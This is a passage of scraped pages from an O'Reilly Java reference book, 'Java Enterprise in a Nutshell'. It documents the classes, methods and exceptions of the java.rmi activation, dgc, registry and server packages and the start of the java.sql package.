 | public abstract ActivationMonitor activeGroup (ActivationGroupID id, ActivationInstantiator group, long incarnation) throws UnknownGroupException, ActivationException, RemoteException; |
 | public abstract ActivationDesc getActivationDesc (ActivationID id) throws ActivationException, UnknownObjectException, RemoteException; |
 | public abstract ActivationGroupDesc getActivationGroupDesc (ActivationGroupID id) throws ActivationException, UnknownGroupException, RemoteException; |
 | public abstract ActivationGroupID registerGroup (ActivationGroupDesc desc) throws ActivationException, RemoteException; |
 | public abstract ActivationID registerObject (ActivationDesc desc) throws ActivationException, UnknownGroupException, RemoteException; |
 | public abstract ActivationDesc setActivationDesc (ActivationID id, ActivationDesc desc) throws ActivationException, UnknownObjectException, UnknownGroupException, RemoteException; |
 | public abstract ActivationGroupDesc setActivationGroupDesc (ActivationGroupID id, ActivationGroupDesc desc) throws ActivationException, UnknownGroupException, RemoteException; |
 | public abstract void shutdown () throws RemoteException; |
 | public abstract void unregisterGroup (ActivationGroupID id) throws ActivationException, UnknownGroupException, RemoteException; |
 | public abstract void unregisterObject (ActivationID id) throws ActivationException, UnknownObjectException, RemoteException; |
}

Hierarchy: (ActivationSystem(Remote))

Passed To: ActivationGroup.setSystem(), ActivationGroupID.ActivationGroupID()

Returned By: ActivationGroup.getSystem(), ActivationGroupID.getSystem()

Activator | Java 1.2
java.rmi.activation | remote

An Activator is responsible for activating remote objects and their groups. Its only method, activate(), triggers the activation system protocol. The activator first finds the ActivationDesc matching the given ActivationID and checks the activation information contained in it. If the target group for the object is not active, the Activator starts its Java VM and activates the group object itself. Finally, the Activator tells the group to (re)create the object by calling the newInstance() method on the group.

public abstract interface Activator extends Remote {
// | Public Instance Methods
 | public abstract MarshalledObject activate (ActivationID id, boolean force) throws ActivationException, UnknownObjectException, RemoteException;
}

Hierarchy: (Activator(Remote))

Passed To: ActivationID.ActivationID()

UnknownGroupException | Java 1.2
java.rmi.activation | serializable checked

This exception is thrown if an unregistered ActivationGroupID is used, either directly as a method argument or indirectly within an ActivationDesc.

public class UnknownGroupException extends ActivationException {
// | Public Constructors
 | public UnknownGroupException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->ActivationException-->UnknownGroupException

Thrown By: Activatable.register(), ActivationGroup.inactiveGroup(), ActivationMonitor.inactiveGroup(), ActivationSystem.{activeGroup(), getActivationGroupDesc(), registerObject(), setActivationDesc(), setActivationGroupDesc(), unregisterGroup()}

UnknownObjectException | Java 1.2
java.rmi.activation | serializable checked

This exception is thrown if an invalid ActivationID is passed as a method argument (e.g., the ID was not generated by the current ActivationSystem).

public class UnknownObjectException extends ActivationException {
// | Public Constructors
 | public UnknownObjectException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->ActivationException-->UnknownObjectException

Thrown By: Activatable.{inactive(), unregister()}, ActivationGroup.{activeObject(), inactiveObject()}, ActivationID.activate(), ActivationMonitor.{activeObject(), inactiveObject()}, ActivationSystem.{getActivationDesc(), setActivationDesc(), unregisterObject()}, Activator.activate()

Previous | Home | Next
13.1. The java.rmi Package | Book Index | 15. The java.rmi.dgc Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.rmi.dgc Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 15. The java.rmi.dgc Package

The java.rmi.dgc package contains an interface and two classes that support distributed garbage collection in RMI. Distributed garbage collection is normally handled automatically by the RMI system, so most applications do not need to use this package. Figure 15-1 shows the class hierarchy for this package.

Figure 15-1. The java.dgc.activation package

DGC | Java 1.1
java.rmi.dgc | remote PJ1.1(opt)

This interface provides an abstraction for the server side of distributed garbage collection, using the notion of dirty and clean calls.

public abstract interface DGC extends Remote {
// | Public Instance Methods
 | public abstract void clean (java.rmi.server.ObjID[ ] ids, long sequenceNum, VMID vmid, boolean strong) throws RemoteException;
 | public abstract Lease dirty (java.rmi.server.ObjID[ ] ids, long sequenceNum, Lease lease) throws RemoteException;
}

Hierarchy: (DGC(Remote))

Lease | Java 1.1
java.rmi.dgc | serializable PJ1.1(opt)

This class encapsulates a unique virtual machine identifier and a lease duration that manages garbage collection of distributed objects.

public final class Lease implements Serializable {
// | Public Constructors
 | public Lease (VMID id, long duration);
// | Public Instance Methods
 | public long getValue ();
 | public VMID getVMID ();
}

Hierarchy: Object-->Lease(Serializable)

Passed To: DGC.dirty()

Returned By: DGC.dirty()

VMID | Java 1.1
java.rmi.dgc | serializable PJ1.1(opt)

This class represents a virtual machine identifier that is unique across all Java virtual machines.

public final class VMID implements Serializable {
// | Public Constructors
 | public VMID (); |
// | Public Class Methods
 | public static boolean isUnique (); | constant
// | Public methods overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->VMID(Serializable)

Passed To: DGC.clean(), Lease.Lease()

Returned By: Lease.getVMID()

Previous | Home | Next
14.1. The java.rmi.activation Package | Book Index | 16. The java.rmi.registry Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.rmi.registry Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 16. The java.rmi.registry Package

The java.rmi.registry package contains classes that provide an interface and an implementation for the various elements of the RMI object naming registry. Figure 16-1 shows the class hierarchy for this package.

Figure 16-1. The java.rmi.registry package

LocateRegistry | Java 1.1
java.rmi.registry | PJ1.1(opt)

This class provides a low-level interface to an RMI registry service, residing either on the local host or on a remote server. On an object lookup, the Naming service parses the host and port from the remote object URL and uses methods of LocateRegistry to connect to the remote registry. The various getRegistry() methods provide the means to get a reference to the local registry or a stub to a remote registry running on a given host and port. The createRegistry() methods create a registry running on the local host on the given port number. The second form of the createRegistry() method allows you to specify custom socket factories the registry uses when it communicates with clients and server objects.

public final class LocateRegistry {
// | No Constructor
// | Public Class Methods
 | public static Registry createRegistry (int port) throws RemoteException;
1.2 | public static Registry createRegistry (int port, java.rmi.server.RMIClientSocketFactory csf, java.rmi.server.RMIServerSocketFactory ssf) throws RemoteException;
 | public static Registry getRegistry () throws RemoteException;
 | public static Registry getRegistry (String host) throws RemoteException;
 | public static Registry getRegistry (int port) throws RemoteException;
 | public static Registry getRegistry (String host, int port) throws RemoteException;
1.2 | public static Registry getRegistry (String host, int port, java.rmi.server.RMIClientSocketFactory csf) throws RemoteException;
}
Registry | Java 1.1
java.rmi.registry | remote PJ1.1(opt)

The Registry is an interface to the RMI object registry that runs on every node in a distributed RMI system. While the Naming interface can look up objects stored in any registry on the network, a Registry operates on a single registry on a single host. URL object names are passed into methods on the Naming service, which finds the right Registry stub using the LocateRegistry class, and then calls the lookup() method on the remote (or local) Registry to get a stub for the remote object. A similar sequence of calls takes place with the local Registry when bind(), rebind(), or unbind() are called on the Naming interface.

The Registry stores objects under unique names. An object is assigned to a name in the Registry using its bind() method. The object assigned to a particular name can be changed using the rebind() method. Objects are removed from the Registry using the unbind() method. The lookup() method finds objects by name in the Registry, while the list() method gets a list of the names of all objects currently in the Registry.

public abstract interface Registry extends Remote {
// | Public Constants
 | public static final int REGISTRY_PORT ; | =1099
// | Public Instance Methods
 | public abstract void bind (String name, Remote obj) throws RemoteException, AlreadyBoundException, AccessException; |
 | public abstract String[ ] list () throws RemoteException, AccessException; |
 | public abstract Remote lookup (String name) throws RemoteException, NotBoundException, AccessException; |
 | public abstract void rebind (String name, Remote obj) throws RemoteException, AccessException; |
 | public abstract void unbind (String name) throws RemoteException, NotBoundException, AccessException; |
}

Hierarchy: (Registry(Remote))

Returned By: LocateRegistry.{createRegistry(), getRegistry()}, RegistryHandler.{registryImpl(), registryStub()}

RegistryHandler | Java 1.1; Deprecated in Java 1.2
java.rmi.registry | PJ1.1(opt)

This interface is mainly of interest to implementors of RMI registry services. It defines the interface to the internal registry-handling implementation.

public abstract interface RegistryHandler {
// | Deprecated Public Methods
# | public abstract Registry registryImpl (int port) throws RemoteException;
# | public abstract Registry registryStub (String host, int port) throws RemoteException, java.rmi.UnknownHostException;
}
Previous | Home | Next
15.1. The java.rmi.dgc Package | Book Index | 17. The java.rmi.server Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.rmi.server Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 17. The java.rmi.server Package

The java.rmi.server package contains the classes that develop server implementations of remote objects. Figure 17-1 shows the class hierarchy for this package.

The RemoteServer class in this package acts as the base class for all RMI server objects. A single subclass of RemoteServer, UnicastRemoteObject, is provided in this package. It implements a nonpersistent, point-to-point object communication scheme. Other subclasses of RemoteServer could be written to implement multicast object communication, replicated objects, etc.

This package also contains several Exception subclasses relevant to the server implementation of a remote object.

Figure 17-1. The java.rmi.server package

ExportException | Java 1.1
java.rmi.server | serializable checked PJ1.1(opt)

This RemoteException is thrown if an attempt is made to export a remote object on a port already in use.

public class ExportException extends RemoteException {
// | Public Constructors
 | public ExportException (String s);
 | public ExportException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->ExportException

Subclasses: SocketSecurityException

LoaderHandler | Java 1.1; Deprecated in Java 1.2
java.rmi.server | PJ1.1(opt)

This defines the interface to the internal handler used by the RMIClassLoader to load classes over the network.

public abstract interface LoaderHandler {
// | Public Constants
 | public static final String packagePrefix ; | ="sun.rmi.server"
// | Deprecated Public Methods
# | public abstract Object getSecurityContext (ClassLoader loader); |
# | public abstract Class loadClass (String name) throws java.net.MalformedURLException, ClassNotFoundException; |
# | public abstract Class loadClass (java.net.URL codebase, String name) throws java.net.MalformedURLException, ClassNotFoundException; |
}
LogStream | Java 1.1; Deprecated in Java 1.2
java.rmi.server | PJ1.1(opt)

This class provides the server with an output stream to an error log. A LogStream cannot be created directly by an application. Instead, a handle on a LogStream is obtained by calling the static log() method with the name of the desired log. If the named log doesn't exist, the default log is returned. The default PrintStream creates new LogStream objects can be retrieved through the getDefaultStream() method and set using the setDefaultStream() method.

public class LogStream extends PrintStream {
// | No Constructor
// | Public Constants
 | public static final int BRIEF ; | =10
 | public static final int SILENT ; | =0
 | public static final int VERBOSE ; | =20
// | Deprecated Public Methods
# | public static PrintStream getDefaultStream (); | synchronized
# | public java.io.OutputStream getOutputStream (); | synchronized
# | public static LogStream log (String name); |
# | public static int parseLevel (String s); |
# | public static void setDefaultStream (PrintStream newDefault); | synchronized
# | public void setOutputStream (java.io.OutputStream out); | synchronized
# | public String toString (); | Overrides:Object
# | public void write (int b); | Overrides:PrintStream
# | public void write (byte[ ] b, int off, int len); | Overrides:PrintStream
}

Hierarchy: Object-->java.io.OutputStream-->FilterOutputStream-->PrintStream-->LogStream

Returned By: LogStream.log()

ObjID | Java 1.1
java.rmi.server | serializable PJ1.1(opt)

An ObjID is used on an object server to uniquely identify exported remote objects. It is used in an RMI server during distributed garbage collection.

The equals() method is overridden from Object to return true only if the objects identified by the two ObjID values are equal. The ObjID class also has read() and write() methods that marshal and unmarshal an ObjID from I/O streams.

public final class ObjID implements Serializable {
// | Public Constructors
 | public ObjID (); |
 | public ObjID (int num); |
// | Public Constants
1.2 | public static final int ACTIVATOR_ID ; | =1
 | public static final int DGC_ID ; | =2
 | public static final int REGISTRY_ID ; | =0
// | Public Class Methods
 | public static ObjID read (ObjectInput in) throws IOException; |
// | Public Instance Methods
 | public void write (ObjectOutput out) throws IOException; |
// | Public methods overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->ObjID(Serializable)

Passed To: java.rmi.dgc.DGC.{clean(), dirty()}

Returned By: ObjID.read()

Operation | Java 1.1; Deprecated in Java 1.2
java.rmi.server | PJ1.1(opt)

An Operation contains a description of a method on a remote object. This class is used only in the stub classes generated by the rmic compiler. The Java 2 rmic compiler no longer uses the Operation class, so it is deprecated, but still present in the Java 2 SDK 1.2 to support RMI stubs generated by the JDK 1.1 rmic compiler.

public class Operation {
// | Public Constructors
# | public Operation (String op); |
// | Deprecated Public Methods
# | public String getOperation (); |
# | public String toString (); | Overrides:Object
}

Passed To: RemoteRef.newCall()

Returned By: Skeleton.getOperations()

RemoteCall | Java 1.1; Deprecated in Java 1.2
java.rmi.server | PJ1.1(opt)

RemoteCall is the interface used by stubs and skeletons to perform remote method calls. The getInputStream() and getOutputStream() methods return streams that can marshal arguments, or return values and then unmarshal them on the other end of the method call.

public abstract interface RemoteCall {
// | Deprecated Public Methods
# | public abstract void done () throws IOException;
# | public abstract void executeCall () throws Exception;
# | public abstract ObjectInput getInputStream () throws IOException;
# | public abstract ObjectOutput getOutputStream () throws IOException;
# | public abstract ObjectOutput getResultStream (boolean success) throws IOException, StreamCorruptedException;
# | public abstract void releaseInputStream () throws IOException;
# | public abstract void releaseOutputStream () throws IOException;
}

Passed To: RemoteRef.{done(), invoke()}, Skeleton.dispatch()

Returned By: RemoteRef.newCall()

RemoteObject | Java 1.1
java.rmi.server | serializable remote PJ1.1(opt)

The RemoteObject class reimplements key Object methods for remote objects. It also maintains a RemoteRef object, which is a handle to the actual remote object. The equals() implementation returns true only if the two referenced remote objects are equal. The hashCode() method is implemented so that every remote stub that refers to the same remote object has the same hash code.

public abstract class RemoteObject implements Remote, Serializable {
// | Protected Constructors
 | protected RemoteObject ();
 | protected RemoteObject (RemoteRef newref);
// | Public Class Methods
1.2 | public static Remote toStub (Remote obj) throws NoSuchObjectException;
// | Public Instance Methods
1.2 | public RemoteRef getRef ();
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
// | Protected Instance Fields
 | protected transient RemoteRef ref ;
}

Hierarchy: Object-->RemoteObject(Remote,Serializable)

Subclasses: RemoteServer, RemoteStub

Passed To: RemoteRef.newCall()

RemoteRef | Java 1.1
java.rmi.server | serializable PJ1.1(opt)

A RemoteRef is a handle on the object that implements a remote object reference. Each RemoteObject contains a RemoteRef that acts as its interface to the actual remote object it represents. Normally, you don't need to interact directly with RemoteRef objects from your application code. Rather, application code interacts with RemoteObject objects, which use their internal RemoteRef objects to perform remote method invocations.

The newCall() method creates a call object for invoking a remote method on the referenced object. The invoke() method actually executes a remote-method invocation. If a remote method returns successfully, the done() method is called to clean up the connection to the remote object.

The remoteEquals(), remoteHashCode(), and remoteToString() methods on RemoteRef are used by RemoteObject to implement the remote versions of the equals(), hashCode(), and toString() methods.

public abstract interface RemoteRef extends Externalizable {
// | Public Constants
 | public static final String packagePrefix ; | ="sun.rmi.server"
1.2 | public static final long serialVersionUID ; | =3632638527362204081
// | Public Instance Methods
 | public abstract String getRefClass (ObjectOutput out); |
1.2 | public abstract Object invoke (Remote obj, java.lang.reflect.Method method, Object[ ] params, long opnum) throws Exception; |
 | public abstract boolean remoteEquals (RemoteRef obj); |
 | public abstract int remoteHashCode (); |
 | public abstract String remoteToString (); |
// | Deprecated Public Methods
# | public abstract void done (RemoteCall call) throws RemoteException; |
# | public abstract void invoke (RemoteCall call) throws Exception; |
# | public abstract RemoteCall newCall (RemoteObject obj, Operation[ ] op, int opnum, long hash) throws RemoteException; |
}

Hierarchy: (RemoteRef(Externalizable(Serializable)))

Implementations: ServerRef

Passed To: java.rmi.activation.ActivationGroup_Stub.ActivationGroup_Stub(), RemoteObject.RemoteObject(), RemoteRef.remoteEquals(), RemoteServer.RemoteServer(), RemoteStub.{RemoteStub(), setRef()}

Returned By: RemoteObject.getRef()

Type Of: RemoteObject.ref

RemoteServer | Java 1.1
java.rmi.server | serializable remote PJ1.1(opt)

This class acts as an abstract base class for all remote object server implementations. The intent is for subclasses to implement the semantics of the remote object (e.g., multicast remote objects, replicated objects). As of JDK 1.1 and later, the only concrete sub-class provided is UnicastRemoteObject, which implements a nonreplicated remote object. The java.activation.Activatable class is a new abstract subclass in Java 2 that represents a server object that is persistent and activatable.

The getClientHost() method returns the name of the host for the client being served in the current thread. The getLog() and setLog() methods access the call log for a RemoteServer.

public abstract class RemoteServer extends RemoteObject {
// | Protected Constructors
 | protected RemoteServer ();
 | protected RemoteServer (RemoteRef ref);
// | Public Class Methods
 | public static String getClientHost () throws ServerNotActiveException;
 | public static PrintStream getLog ();
 | public static void setLog (java.io.OutputStream out);
}

Hierarchy: Object-->RemoteObject(Remote,Serializable)-->RemoteServer

Subclasses: java.rmi.activation.Activatable, UnicastRemoteObject

RemoteStub | Java 1.1
java.rmi.server | serializable remote PJ1.1(opt)

All client stub classes generated by the rmic compiler are derived from this abstract class. A client receives a RemoteStub when it successfully looks up a remote object through the RMI registry. A client stub serves as a client interface to the remote object it references, converting method calls on its interface to remote method invocations on the remote object implementation.

public abstract class RemoteStub extends RemoteObject {
// | Protected Constructors
 | protected RemoteStub ();
 | protected RemoteStub (RemoteRef ref);
// | Deprecated Protected Methods
# | protected static void setRef (RemoteStub stub, RemoteRef ref);
}

Hierarchy: Object-->RemoteObject(Remote,Serializable)-->RemoteStub

Subclasses: java.rmi.activation.ActivationGroup_Stub

Passed To: RemoteStub.setRef()

Returned By: ServerRef.exportObject(), UnicastRemoteObject.exportObject()

RMIClassLoader | Java 1.1
java.rmi.server | PJ1.1(opt)

This class loads classes over the network using URLs. The class has two loadClass() methods, one for loading a class from a given (absolute) URL and another for loading a class from a given (relative) URL, starting at a particular codebase.

public class RMIClassLoader {
// | No Constructor
// | Public Class Methods
1.2 | public static String getClassAnnotation (Class cl);
 | public static Class loadClass (java.net.URL codebase, String name) throws java.net.MalformedURLException, ClassNotFoundException;
1.2 | public static Class loadClass (String codebase, String name) throws java.net.MalformedURLException, ClassNotFoundException;
// | Deprecated Public Methods
# | public static Object getSecurityContext (ClassLoader loader);
# | public static Class loadClass (String name) throws java.net.MalformedURLException, ClassNotFoundException;
}
RMIClientSocketFactory Java 1.2
java.rmi.server

This interface represents a source for client sockets that is used by the RMI internals to make client connections during RMI calls. It is possible to provide a custom socket factory to be used with a particular remote object, by using the appropriate constructors on the UnicastRemoteObject or Activatable classes, or, with a particular registry, by using the appropriate LocateRegistry.createRegistry() method. This can be useful in situations where a firewall lies between the client and the server object or remote registry, and specialized sockets are needed to negotiate the firewall protocol.

The RMIClientSocketFactory associated with a remote object is used by any remote stub references to establish connections with the server object.

public abstract interface RMIClientSocketFactory {
// | Public Instance Methods
 | public abstract java.net.Socket createSocket (String host, int port) throws IOException;
}

Implementations: RMISocketFactory

Passed To: java.rmi.activation.Activatable.{Activatable(), exportObject()}, java.rmi.registry.LocateRegistry.{createRegistry(), getRegistry()}, UnicastRemoteObject.{exportObject(), UnicastRemoteObject()}

RMIFailureHandler | Java 1.1
java.rmi.server | PJ1.1(opt)

The failure() method on the current RMIFailureHandler is called when the RMI communication system fails to create a Socket or ServerSocket. The current handler is set using the setFailureHandler() method on RMISocketFactory. The failure() method returns a boolean value that indicates whether the RMI system should retry the socket connection.

public abstract interface RMIFailureHandler {
// | Public Instance Methods
 | public abstract boolean failure (Exception ex);
}

Passed To: RMISocketFactory.setFailureHandler()

Returned By: RMISocketFactory.getFailureHandler()

RMIServerSocketFactory Java 1.2
java.rmi.server

This interface represents a source for server sockets that is used by the RMI internals to make client connections during RMI calls. It is possible to provide a custom socket factory to be used with a particular remote object, by using the appropriate constructors on the UnicastRemoteObject or Activatable classes, or, with a particular registry, by using the appropriate LocateRegistry.createRegistry() method. This can be useful in situations where a firewall lies between the client and the server object or the remote registry, and specialized sockets are needed to negotiate the firewall protocol.

The RMIServerSocketFactory creates ServerSocket objects that are used by remote objects to accept client connections.

public abstract interface RMIServerSocketFactory {
// | Public Instance Methods
 | public abstract java.net.ServerSocket createServerSocket (int port) throws IOException;
}

Implementations: RMISocketFactory

Passed To: java.rmi.activation.Activatable.{Activatable(), exportObject()}, java.rmi.registry.LocateRegistry.createRegistry(), UnicastRemoteObject.{exportObject(), UnicastRemoteObject()}

RMISocketFactory | Java 1.1
java.rmi.server | PJ1.1(opt)

This abstract class provides an interface for the RMI internals to use to create sockets for both client and server communications. It implements both the RMIClientSocketFactory and the RMIServerSocketFactory interfaces, so it can create either Socket objects for clients or ServerSocket objects for servers. The factory maintains a RMIFailureHandler to deal with failures encountered while attempting to create sockets. If an error is encountered while creating a socket, the failure() method on the current RMIFailureHandler is called. If the return value is true, the RMISocketFactory attempts the socket creation again; otherwise the factory gives up and throws an IOException.

Client sockets are created using the createSocket() method (inherited from RMIClientSocketFactory), while server sockets are created using the createServerSocket() method (inherited from RMIServerSocketFactory). The current RMISocketFactory for the runtime system can be accessed using the static getSocketFactory() and setSocketFactory() methods. The RMIFailureHandler for the current factory is accessed using the getFailureHandler() and setFailureHandler() methods.

public abstract class RMISocketFactory implements RMIClientSocketFactory, RMIServerSocketFactory {
// | Public Constructors
 | public RMISocketFactory (); |
// | Public Class Methods
1.2 | public static RMISocketFactory getDefaultSocketFactory (); | synchronized
 | public static RMIFailureHandler getFailureHandler (); | synchronized
 | public static RMISocketFactory getSocketFactory (); | synchronized
 | public static void setFailureHandler (RMIFailureHandler fh); | synchronized
 | public static void setSocketFactory (RMISocketFactory fac) throws IOException; | synchronized
// | Methods implementing RMIClientSocketFactory
 | public abstract java.net.Socket createSocket (String host, int port) throws IOException; |
// | Methods implementing RMIServerSocketFactory
 | public abstract java.net.ServerSocket createServerSocket (int port) throws IOException; |
}

Hierarchy: Object-->RMISocketFactory(RMIClientSocketFactory,RMIServerSocketFactory)

Passed To: RMISocketFactory.setSocketFactory()

Returned By: RMISocketFactory.{getDefaultSocketFactory(), getSocketFactory()}

ServerCloneException | Java 1.1
java.rmi.server | serializable checked PJ1.1(opt)

This exception is thrown if an attempt to clone a RemoteServer object fails while the clone is being exported. The nested exception is the RemoteException that was thrown during the cloning operation.

public class ServerCloneException extends CloneNotSupportedException {
// | Public Constructors
 | public ServerCloneException (String s);
 | public ServerCloneException (String s, Exception ex);
// | Public methods overriding Throwable
 | public String getMessage ();
1.2 | public void printStackTrace ();
1.2 | public void printStackTrace (PrintStream ps);
1.2 | public void printStackTrace (PrintWriter pw);
// | Public Instance Fields
 | public Exception detail ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->CloneNotSupportedException-->ServerCloneException

ServerNotActiveException | Java 1.1
java.rmi.server | serializable checked PJ1.1(opt)

This exception is thrown if the getClientHost() method is called on a RemoteServer when the server isn't handling a remote method call.

public class ServerNotActiveException extends Exception {
// | Public Constructors
 | public ServerNotActiveException ();
 | public ServerNotActiveException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->ServerNotActiveException

Thrown By: RemoteServer.getClientHost(), ServerRef.getClientHost()

ServerRef | Java 1.1
java.rmi.server | serializable PJ1.1(opt)

This is an interface to the server-side implementation of a remote object. The getClientHost() method returns the name of the host whose remote method call is currently being serviced by the object implementation. If the server object is not servicing a remote method call when getClientHost() is called, a ServerNotActiveException is thrown. Using the data provided, the exportObject() method either creates or finds a client stub for the given object implementation.

public abstract interface ServerRef extends RemoteRef {
// | Public Constants
1.2 | public static final long serialVersionUID ; | =-4557750989390278438
// | Public Instance Methods
 | public abstract RemoteStub exportObject (Remote obj, Object data) throws RemoteException; |
 | public abstract String getClientHost () throws ServerNotActiveException; |
}

Hierarchy: (ServerRef(RemoteRef(Externalizable(Serializable))))

Skeleton | Java 1.1; Deprecated in Java 1.2
java.rmi.server | PJ1.1(opt)

Server-side skeleton classes generated by the rmic compiler implement the Skeleton interface. The dispatch() method invokes a method on the server object, and getOperations() returns an array of Operation objects that represent the methods available on the server object.

The Skeleton interface is used in classes generated by the rmic compiler in JDK 1.1. The Java 2 SDK 1.2 rmic compiler doesn't use the Skeleton interface for its skeleton classes, so it has been deprecated as of Java 2.

public abstract interface Skeleton {
// | Deprecated Public Methods
# | public abstract void dispatch (Remote obj, RemoteCall theCall, int opnum, long hash) throws Exception;
# | public abstract Operation[ ] getOperations ();
}
SkeletonMismatchException | Java 1.1; Deprecated in Java 1.2
java.rmi.server | serializable checked PJ1.1(opt)

This RemoteException is thrown during a remote method call if a mismatch is detected on the server between the hash code of the client stub and the hash code of the server implementation. It is usually received by the client wrapped in a ServerException.

public class SkeletonMismatchException extends RemoteException {
// | Public Constructors
# | public SkeletonMismatchException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->SkeletonMismatchException

SkeletonNotFoundException | Java 1.1; Deprecated in Java 1.2
java.rmi.server | serializable checked PJ1.1(opt)

This RemoteException is thrown during the export of a remote object, if the corresponding skeleton class for the object either cannot be found or loaded for some reason.

public class SkeletonNotFoundException extends RemoteException {
// | Public Constructors
 | public SkeletonNotFoundException (String s);
 | public SkeletonNotFoundException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->SkeletonNotFoundException

SocketSecurityException | Java 1.1
java.rmi.server | serializable checked PJ1.1(opt)

This exception is a subclass of ExportException that is thrown if a socket security violation is encountered while attempting to export a remote object. An example would be an attempt to export an object on an illegal port.

public class SocketSecurityException extends ExportException {
// | Public Constructors
 | public SocketSecurityException (String s);
 | public SocketSecurityException (String s, Exception ex);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->RemoteException-->ExportException-->SocketSecurityException

UID | Java 1.1
java.rmi.server | serializable PJ1.1(opt)

A UID is an identifier that is unique with respect to a particular host. UID objects are used internally by RMI's distributed garbage collector and are generally not dealt with directly in application code.

public final class UID implements Serializable {
// | Public Constructors
 | public UID ();
 | public UID (short num);
// | Public Class Methods
 | public static UID read (DataInput in) throws IOException;
// | Public Instance Methods
 | public void write (DataOutput out) throws IOException;
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
}

Hierarchy: Object-->UID(Serializable)

Returned By: UID.read()

UnicastRemoteObject | Java 1.1
java.rmi.server | serializable remote PJ1.1(opt)

This class represents a nonreplicated remote object, or in other words, an object that lives as a singular implementation on a server, with a point-to-point connection to each client through reference stubs. This remote server class does not implement persistence, so client references to the object are valid only during the lifetime of the object.

public class UnicastRemoteObject extends RemoteServer {
// | Protected Constructors
 | protected UnicastRemoteObject () throws RemoteException;
1.2 | protected UnicastRemoteObject (int port) throws RemoteException;
1.2 | protected UnicastRemoteObject (int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException;
// | Public Class Methods
 | public static RemoteStub exportObject (Remote obj) throws RemoteException;
1.2 | public static Remote exportObject (Remote obj, int port) throws RemoteException;
1.2 | public static Remote exportObject (Remote obj, int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException;
1.2 | public static boolean unexportObject (Remote obj, boolean force) throws NoSuchObjectException;
// | Public methods overriding Object
 | public Object clone () throws CloneNotSupportedException;
}

Hierarchy: Object-->RemoteObject(Remote,Serializable)-->RemoteServer-->UnicastRemoteObject

Subclasses: java.rmi.activation.ActivationGroup

Unreferenced | Java 1.1
java.rmi.server | PJ1.1(opt)

If a server object implements this interface, the unreferenced() method is called by the RMI runtime system when the last client reference to a remote object is dropped. A remote object shouldn't be garbage collected until all its remote and local references are gone. So the unreferenced() method isn't a trigger for an object to be finalized, but rather a chance for the remote object to respond appropriately when its client reference count goes to zero. The unreferenced object could, for example, start a timer countdown to move the object to persistent storage after a given idle time with respect to remote clients.

public abstract interface Unreferenced {
// | Public Instance Methods
 | public abstract void unreferenced ();
}
Previous | Home | Next
15.1. The java.rmi.registry Package | Book Index | 18. The java.sql Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.sql Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 18. The java.sql Package

The java.sql package contains the entire JDBC API that sends SQL (Structured Query Language) statements to relational databases and retrieves the results of executing those SQL statements. Figure 18-1 shows the class hierarchy of this package. The JDBC 1.0 API became part of the core Java API in Java 1.1. The JDBC 2.0 API supports a variety of new features and is part of the Java 2 platform.

The Driver interface represents a specific JDBC implementation for a particular database system. Connection represents a connection to a database. The Statement, PreparedStatement, and CallableStatement interfaces support the execution of various kinds of SQL statements. ResultSet is a set of results returned by the database in response to a SQL query. The ResultSetMetaData interface provides metadata about a result set, while DatabaseMetaData provides metadata about the database as a whole.

Figure 18-1. The java.sql Package

Array Java 1.2
java.sql

Provides an interface to SQL ARRAY objects. Each getArray() method returns a standard Java array of objects of the type returned by getBaseType(). Two getArray() methods support a java.util.Map parameter that can customize the SQL-type-to-Java-object mapping. The contents of the array can also be returned as a ResultSet using the various getResultSet() methods.

public abstract interface Array {
// | Public Instance Methods
 | public abstract Object getArray () throws SQLException;
 | public abstract Object getArray (java.util.Map map) throws SQLException;
 | public abstract Object getArray (long index, int count) throws SQLException;
 | public abstract Object getArray (long index, int count, java.util.Map map) throws SQLException;
 | public abstract int getBaseType () throws SQLException;
 | public abstract String getBaseTypeName () throws SQLException;
 | public abstract ResultSet getResultSet () throws SQLException;
 | public abstract ResultSet getResultSet (java.util.Map map) throws SQLException;
 | public abstract ResultSet getResultSet (long index, int count) throws SQLException;
 | public abstract ResultSet getResultSet (long index, int count, java.util.Map map) throws SQLException;
}

Passed To: PreparedStatement.setArray(), SQLOutput.writeArray(), javax.sql.RowSet.setArray()

Returned By: CallableStatement.getArray(), ResultSet.getArray(), SQLInput.readArray()

BatchUpdateException | Java 1.2
java.sql | serializable checked

This exception, which is a subclass of SQLException, is thrown when a batch update operation fails. The exception includes a method, getUpdateCounts(), that returns an array of int values, where the values correspond to the update counts for the successful update operations in the batch.

public class BatchUpdateException extends SQLException {
// | Public Constructors
 | public BatchUpdateException (); |
 | public BatchUpdateException (int[ ] updateCounts); |
 | public BatchUpdateException (String reason, int[ ] updateCounts); |
 | public BatchUpdateException (String reason, String SQLState, int[ ] updateCounts); |
 | public BatchUpdateException (String reason, String SQLState, int vendorCode, int[ ] updateCounts); |
// | Public Instance Methods
 | public int[ ] getUpdateCounts (); | default:null
}

